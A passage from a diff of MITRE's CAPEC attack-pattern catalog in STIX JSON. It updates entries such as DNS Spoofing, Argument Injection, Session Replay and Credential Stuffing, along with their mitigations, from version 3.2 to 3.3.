"2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--8d22787d-6e79-4bd5-8fb5-a6b95e74fc40", "source_ref": "course-of-action--f972cf8f-5c89-4e6c-87ad-8eb40c32883b", "relationship_type": "mitigates", "target_ref": "attack-pattern--1a84fe86-379b-497e-ae66-290e797409f4" }, { + "id": "relationship--571be573-775a-4c2e-b74d-01d1a1a56a8a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-01-06T00:00:00.000Z", - "modified": "2017-01-06T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--571be573-775a-4c2e-b74d-01d1a1a56a8a", "source_ref": "course-of-action--4dc38767-be73-424a-b909-90eb4773dfa3", "relationship_type": "mitigates", "target_ref": "attack-pattern--1a84fe86-379b-497e-ae66-290e797409f4" @@ -36016,17 +39288,32 @@ { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-01-06T00:00:00.000Z", - "modified": "2017-01-06T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "name": "coa-597-11", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "description": "Implementation: Validate user input by only accepting known good. Ensure all content that is delivered to client is sanitized against an acceptable content specification using an allowlist approach.", + "x_capec_version": "3.3", + "type": "course-of-action", + "id": "course-of-action--b994128b-dfc1-41e0-97a5-e9ec2c1056ee" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2017-01-06T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--571ec65b-9e4d-4be7-9592-3d6be5ee8a32", - "source_ref": "course-of-action--34712533-4c5c-45f0-bd17-87400d79a1a9", + "id": "relationship--d4be0c7a-12b3-47bb-9012-e6800e680e58", + "source_ref": "course-of-action--b994128b-dfc1-41e0-97a5-e9ec2c1056ee", "relationship_type": "mitigates", "target_ref": "attack-pattern--1a84fe86-379b-497e-ae66-290e797409f4" }, { + "id": "attack-pattern--ed79989c-6824-4b9d-912d-8d1fffe93715", "name": "DNS Spoofing", "description": "An adversary sends a malicious (\"NXDOMAIN\" (\"No such domain\") code, or DNS A record) response to a targets route request before a legitimate resolver can. This technique requires an On-path or In-path device that can monitor and respond to the targets DNS requests. This attack differs from BGP Tampering in that it directly responds to requests made by the target instead of polluting the routing the targets infrastructure uses.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -36064,11 +39351,11 @@ "Above-Recursive DNS Poisoning: When an On/In-path device between an authority server (e.g., government-managed) and a recursive DNS server sends a malicious (\"NXDOMAIN\" (\"No such domain\")code, or a DNS record) response before a legitimate resolver can." ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--ed79989c-6824-4b9d-912d-8d1fffe93715" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--818958f8-e5a6-4522-9a89-e48271100548", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-01-04T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", @@ -36077,23 +39364,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Design: Avoid dependence on DNS", - "type": "course-of-action", - "id": "course-of-action--818958f8-e5a6-4522-9a89-e48271100548" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--ae2e6105-d7fc-4e98-9dea-4493606440c6", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-01-04T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--ae2e6105-d7fc-4e98-9dea-4493606440c6", "source_ref": "course-of-action--818958f8-e5a6-4522-9a89-e48271100548", "relationship_type": "mitigates", "target_ref": "attack-pattern--ed79989c-6824-4b9d-912d-8d1fffe93715" }, { + "id": "course-of-action--0a399b26-688b-4a78-8d74-4d815dbc37ad", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-01-04T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", @@ -36102,23 +39391,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Design: Include \"hosts file\"/IP address in the application", - "type": "course-of-action", - "id": "course-of-action--0a399b26-688b-4a78-8d74-4d815dbc37ad" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--5fbf3499-e8c7-452e-87c7-9bd2e4733100", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-01-04T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--5fbf3499-e8c7-452e-87c7-9bd2e4733100", "source_ref": "course-of-action--0a399b26-688b-4a78-8d74-4d815dbc37ad", "relationship_type": "mitigates", "target_ref": "attack-pattern--ed79989c-6824-4b9d-912d-8d1fffe93715" }, { + "id": "course-of-action--ec56aac0-0a2d-4aad-b6c5-8afa9f5806f2", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-01-04T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", @@ -36127,23 +39418,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implementation: Utilize a .onion domain with Tor support", - "type": "course-of-action", - "id": "course-of-action--ec56aac0-0a2d-4aad-b6c5-8afa9f5806f2" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--3f5c44bc-4c83-4819-add3-4fc2f11b2fde", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-01-04T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--3f5c44bc-4c83-4819-add3-4fc2f11b2fde", "source_ref": "course-of-action--ec56aac0-0a2d-4aad-b6c5-8afa9f5806f2", "relationship_type": "mitigates", "target_ref": "attack-pattern--ed79989c-6824-4b9d-912d-8d1fffe93715" }, { + "id": "course-of-action--9c484afc-3584-4587-a260-116ead182709", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-01-04T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", @@ -36152,23 +39445,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implementation: DNSSEC", - "type": "course-of-action", - "id": "course-of-action--9c484afc-3584-4587-a260-116ead182709" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--6c28461d-523b-453f-99b1-a60849c2db18", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-01-04T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--6c28461d-523b-453f-99b1-a60849c2db18", "source_ref": "course-of-action--9c484afc-3584-4587-a260-116ead182709", "relationship_type": "mitigates", "target_ref": "attack-pattern--ed79989c-6824-4b9d-912d-8d1fffe93715" }, { + "id": "course-of-action--38d9ad7c-d797-454b-a4b5-f9f3b392be10", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-01-04T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", @@ -36177,23 +39472,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implementation: DNS-hold-open", - "type": "course-of-action", - "id": "course-of-action--38d9ad7c-d797-454b-a4b5-f9f3b392be10" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--13141463-336a-4b22-955f-de061f868998", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-01-04T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--13141463-336a-4b22-955f-de061f868998", "source_ref": "course-of-action--38d9ad7c-d797-454b-a4b5-f9f3b392be10", "relationship_type": "mitigates", "target_ref": "attack-pattern--ed79989c-6824-4b9d-912d-8d1fffe93715" }, { + "id": "attack-pattern--521fbe1c-28d6-4ca0-bc8b-6e2dbc91332e", "name": "Terrestrial Jamming", "description": "In this attack pattern, the adversary transmits disruptive signals in the direction of the target consumer-level satellite dish (as opposed to the satellite itself). The transmission disruption occurs in a more targeted range. Portable terrestrial jammers have a range of 3-5 kilometers in urban areas and 20 kilometers in rural areas. This technique requires a terrestrial jammer that is more powerful than the frequencies sent from the satellite.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -36229,11 +39526,11 @@ "An attempt to deceive a GPS receiver by broadcasting counterfeit GPS signals, structured to resemble a set of normal GPS signals. These jamming signals may be structured in such a way as to cause the receiver to estimate its position to be somewhere other than where it actually is, or to be located where it is but at a different time, as determined by the adversary." ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--521fbe1c-28d6-4ca0-bc8b-6e2dbc91332e" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--b97b706c-8b6e-4681-a22b-89d5e53134b7", "name": "Argument Injection", "description": "An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -36241,7 +39538,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -36324,89 +39621,96 @@ }, "x_capec_abstraction": "Standard", "x_capec_example_instances": [ - "A recent example instance of argument injection occurred against Java Web Start technology, which eases the client side deployment for Java programs. The JNLP files that are used to describe the properties for the program. The client side Java runtime used the arguments in the property setting to define execution parameters, but if the attacker appends commands to an otherwise legitimate property file, then these commands are sent to the client command shell. [R.6.2]" + "A recent example instance of argument injection occurred against Java Web Start technology, which eases the client side deployment for Java programs. The JNLP files that are used to describe the properties for the program. The client side Java runtime used the arguments in the property setting to define execution parameters, but if the attacker appends commands to an otherwise legitimate property file, then these commands are sent to the client command shell. [REF-482]" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Discovery of potential injection vectors: Using an automated tool or manual discovery, the attacker identifies services or methods with arguments that could potentially be used as injection vectors (OS, API, SQL procedures, etc.).

    2. Techniques
    Manually cover the application and record the possible places where arguments could be passed into external systems.
    Use a spider, for web applications, to create a list of URLs and associated inputs.

Experiment

  1. 1. Attempt variations on argument content: Possibly using an automated tool, the attacker will perform injection variations of the arguments.

    2. Techniques
    Use a very large list of probe strings in order to detect if there is a positive result, and, what type of system has been targeted (if obscure).
    Use a proxy tool to record results, error messages and/or log if accessible.

Exploit

  1. Abuse of the application: The attacker injects specific syntax into a particular argument in order to generate a specific malicious effect in the targeted application.

    2. Techniques
    Manually inject specific payload into targeted argument.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--b97b706c-8b6e-4681-a22b-89d5e53134b7" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--0ff4be5f-0c27-443a-9c06-f1273aacf899", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-6-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Design: Do not program input values directly on command shell, instead treat user input as guilty until proven innocent. Build a function that takes user input and converts it to applications specific types and values, stripping or filtering out all unauthorized commands and characters in the process.", - "type": "course-of-action", - "id": "course-of-action--0ff4be5f-0c27-443a-9c06-f1273aacf899" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--196a8c07-3041-48df-97b8-d20a2bf800b7", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--196a8c07-3041-48df-97b8-d20a2bf800b7", "source_ref": "course-of-action--0ff4be5f-0c27-443a-9c06-f1273aacf899", "relationship_type": "mitigates", "target_ref": "attack-pattern--b97b706c-8b6e-4681-a22b-89d5e53134b7" }, { + "id": "course-of-action--320708f6-d5a8-4781-bcef-5d707ceeb0f0", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-6-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Design: Limit program privileges, so if metacharacters or other methods circumvent program input validation routines and shell access is attained then it is not running under a privileged account. chroot jails create a sandbox for the application to execute in, making it more difficult for an attacker to elevate privilege even in the case that a compromise has occurred.", - "type": "course-of-action", - "id": "course-of-action--320708f6-d5a8-4781-bcef-5d707ceeb0f0" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--c3192605-c8b0-48c6-a253-ced90d7fe3e0", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--c3192605-c8b0-48c6-a253-ced90d7fe3e0", "source_ref": "course-of-action--320708f6-d5a8-4781-bcef-5d707ceeb0f0", "relationship_type": "mitigates", "target_ref": "attack-pattern--b97b706c-8b6e-4681-a22b-89d5e53134b7" }, { + "id": "course-of-action--9c1506e3-58e3-4856-866d-9ec6c8a8a9ad", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-6-2", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implementation: Implement an audit log that is written to a separate host, in the event of a compromise the audit log may be able to provide evidence and details of the compromise.", - "type": "course-of-action", - "id": "course-of-action--9c1506e3-58e3-4856-866d-9ec6c8a8a9ad" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--ba5cb3e3-2de4-49cd-a6c0-587480f23acd", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--ba5cb3e3-2de4-49cd-a6c0-587480f23acd", "source_ref": "course-of-action--9c1506e3-58e3-4856-866d-9ec6c8a8a9ad", "relationship_type": "mitigates", "target_ref": "attack-pattern--b97b706c-8b6e-4681-a22b-89d5e53134b7" }, { + "id": "attack-pattern--a15ef978-f79c-4a64-8c63-8ab413d42b0f", "name": "Reusing Session IDs (aka Session Replay)", "description": "This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -36414,7 +39718,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -36471,6 +39775,24 @@ "url": "http://cwe.mitre.org/data/definitions/732.html", "external_id": "CWE-732" }, + { + "source_name": "ATTACK", + "description": "Access Token Manipulation:Create Process with Token", + "url": "https://attack.mitre.org/wiki/Technique/T1134/002", + "external_id": "T1134.002" + }, + { + "source_name": "ATTACK", + "description": "Access Token Manipulation:Make and Impersonate Token", + "url": "https://attack.mitre.org/wiki/Technique/T1134/003", + "external_id": "T1134.003" + }, + { + "source_name": "ATTACK", + "description": "Use Alternate Authentication Material:Web Session Cookie", + "url": "https://attack.mitre.org/wiki/Technique/T1550/004", + "external_id": "T1550.004" + }, { "source_name": "reference_from_CAPEC", "description": "G. Hoglund, G. McGraw, Exploiting Software: How to Break Code, 2004--02, Addison-Wesley", @@ -36485,8 +39807,8 @@ "The session IDs used by the target host are not well protected from session theft." ], "x_capec_skills_required": { - "Low": "If an attacker can steal a valid session ID, he can then try to be authenticated with that stolen session ID.", - "Medium": "More sophisticated attack can be used to hijack a valid session from a user and spoof a legitimate user by reusing his valid session ID." + "Low": "If an attacker can steal a valid session ID, they can then try to be authenticated with that stolen session ID.", + "Medium": "More sophisticated attack can be used to hijack a valid session from a user and spoof a legitimate user by reusing their valid session ID." }, "x_capec_consequences": { "Confidentiality": [ @@ -36504,162 +39826,407 @@ "OpenSSL and SSLeay allow remote attackers to reuse SSL sessions and bypass access controls. See also: CVE-1999-0428", "Merak Mail IceWarp Web Mail uses a static identifier as a user session ID that does not change across sessions, which could allow remote attackers with access to the ID to gain privileges as that user, e.g. by extracting the ID from the user's answer or forward URLs. See also: CVE-2002-0258" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. The attacker interacts with the target host and finds that session IDs are used to authenticate users.

  2. The attacker steals a session ID from a valid user.

Exploit

  1. The attacker tries to use the stolen session ID to gain access to the system with the privileges of the session ID's original owner.

", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--a15ef978-f79c-4a64-8c63-8ab413d42b0f" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--e132b1ab-8471-4391-8be7-58657c09f46c", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-60-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Always invalidate a session ID after the user logout.", - "type": "course-of-action", - "id": "course-of-action--e132b1ab-8471-4391-8be7-58657c09f46c" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--908e8d74-13d5-49a7-ac4c-99df0daf47f0", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--908e8d74-13d5-49a7-ac4c-99df0daf47f0", "source_ref": "course-of-action--e132b1ab-8471-4391-8be7-58657c09f46c", "relationship_type": "mitigates", "target_ref": "attack-pattern--a15ef978-f79c-4a64-8c63-8ab413d42b0f" }, { + "id": "course-of-action--887085f5-8775-46fa-bca9-fa2fa8d395a3", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-60-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Setup a session time out for the session IDs.", - "type": "course-of-action", - "id": "course-of-action--887085f5-8775-46fa-bca9-fa2fa8d395a3" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--1f28d834-ffd7-4c6d-ad68-e70a69745dc9", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--1f28d834-ffd7-4c6d-ad68-e70a69745dc9", "source_ref": "course-of-action--887085f5-8775-46fa-bca9-fa2fa8d395a3", "relationship_type": "mitigates", "target_ref": "attack-pattern--a15ef978-f79c-4a64-8c63-8ab413d42b0f" }, { + "id": "course-of-action--ac374ccc-6c8a-4596-8aab-d316eb133db5", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-60-2", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Protect the communication between the client and server. For instance it is best practice to use SSL to mitigate man in the middle attack.", - "type": "course-of-action", - "id": "course-of-action--ac374ccc-6c8a-4596-8aab-d316eb133db5" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--a1d9b1f2-a80e-41a1-a78d-24cba8a9fd24", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--a1d9b1f2-a80e-41a1-a78d-24cba8a9fd24", "source_ref": "course-of-action--ac374ccc-6c8a-4596-8aab-d316eb133db5", "relationship_type": "mitigates", "target_ref": "attack-pattern--a15ef978-f79c-4a64-8c63-8ab413d42b0f" }, { + "id": "course-of-action--c2568b87-4ece-4f22-a1c1-5305dd455ab4", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-60-3", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Do not code send session ID with GET method, otherwise the session ID will be copied to the URL. In general avoid writing session IDs in the URLs. URLs can get logged in log files, which are vulnerable to an attacker.", - "type": "course-of-action", - "id": "course-of-action--c2568b87-4ece-4f22-a1c1-5305dd455ab4" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--71ab000c-de21-4717-95f9-4aae387d2d7c", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--71ab000c-de21-4717-95f9-4aae387d2d7c", "source_ref": "course-of-action--c2568b87-4ece-4f22-a1c1-5305dd455ab4", "relationship_type": "mitigates", "target_ref": "attack-pattern--a15ef978-f79c-4a64-8c63-8ab413d42b0f" }, { + "id": "course-of-action--bfd1036e-01fb-4b7d-a112-830c3c3a4b0e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-60-4", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Encrypt the session data associated with the session ID.", - "type": "course-of-action", - "id": "course-of-action--bfd1036e-01fb-4b7d-a112-830c3c3a4b0e" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--c5dc170d-4034-4559-acd3-ad3cfff69416", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--c5dc170d-4034-4559-acd3-ad3cfff69416", "source_ref": "course-of-action--bfd1036e-01fb-4b7d-a112-830c3c3a4b0e", "relationship_type": "mitigates", "target_ref": "attack-pattern--a15ef978-f79c-4a64-8c63-8ab413d42b0f" }, { + "id": "course-of-action--f8aa308d-e6bc-4de3-86be-da1213ff1371", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-60-5", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Use multifactor authentication.", - "type": "course-of-action", - "id": "course-of-action--f8aa308d-e6bc-4de3-86be-da1213ff1371" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--1f886c45-625d-4dd6-9659-8b92fdb432e3", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--1f886c45-625d-4dd6-9659-8b92fdb432e3", "source_ref": "course-of-action--f8aa308d-e6bc-4de3-86be-da1213ff1371", "relationship_type": "mitigates", "target_ref": "attack-pattern--a15ef978-f79c-4a64-8c63-8ab413d42b0f" }, { + "name": "Credential Stuffing", + "description": "\n An adversary tries known username/password combinations against different systems, applications, or services to gain additional authenticated access. Credential Stuffing attacks rely upon the fact that many users leverage the same username/password combination for multiple systems, applications, and services. Attacks of this kind often target management services over commonly used ports such as SSH, FTP, Telnet, LDAP, Kerberos, MySQL, and more. Additional targets include Single Sign-On (SSO) or cloud-based applications/services that utilize federated authentication protocols, and externally facing applications. The primary goal of Credential Stuffing is to achieve lateral movement and gain authenticated access to additional systems, applications, and/or services. A successfully executed Credential Stuffing attack could result in the adversary impersonating the victim or executing any action that the victim is authorized to perform. If the password obtained by the adversary is used for multiple systems, accounts, and/or services, this attack will be successful (in the absence of other mitigations).\n Although not technically a brute force attack, Credential Stuffing attacks can function as such if an adversary possess multiple known passwords for the same user account. This may occur in the event where an adversary obtains user credentials from multiple sources or if the adversary obtains a user's password history for an account.\n Credential Stuffing attacks are similar to Password Spraying attacks (CAPEC-565) regarding their targets and their overall goals. However, Password Spraying attacks do not have any insight into known username/password combinations and instead leverage common or expected passwords. This also means that Password Spraying attacks must avoid inducing account lockouts, which is generally not a worry of Credential Stuffing attacks. Password Spraying attacks may additionally lead to Credential Stuffing attacks, once a successful username/password combination is discovered.\n ", + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "external_references": [ + { + "source_name": "capec", + "url": "https://capec.mitre.org/data/definitions/600.html", + "external_id": "CAPEC-600" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/522.html", + "external_id": "CWE-522" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/307.html", + "external_id": "CWE-307" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/308.html", + "external_id": "CWE-308" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/309.html", + "external_id": "CWE-309" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/262.html", + "external_id": "CWE-262" + }, + { + "source_name": "cwe", + "url": 